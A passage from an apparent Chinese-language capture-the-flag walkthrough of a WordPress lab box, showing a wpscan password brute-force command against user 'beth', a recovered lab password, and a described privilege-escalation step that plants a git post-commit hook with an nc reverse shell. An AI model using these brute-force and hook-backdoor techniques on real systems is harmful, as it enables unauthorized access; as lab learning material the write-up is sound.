因为我们已知目标运行wordpress站点，因此从gobuster和nikto工具运行结果中没有看到除了wordpress相关的目录文件之外的信息。接下来看是否可以用wpscan工具扫描出用户名或者可利用的插件。

└─$ wpscan --url http://wp.gitroot.vuln/ -U beth -P /usr/share/wordlists/rockyou.txt
没有破解出用户beth的密码，那看下可否扫描出插件。

虽然扫描出插件akismet，但是该插件没有漏洞可利用。
会不会存在其他子域名？

发现了一个密码：r3vpdmspqdb, 很显然，因为新的.git目录属主是beth，因此该密码应该也是属于beth
切换到用户beth

在beth目录下，新建.git/hooks文件夹，建一个post-commit文件，里面写入使用nc反弹shell的一句话，文件给777权限，再将.git文件夹压缩成zip格式，再给777权限
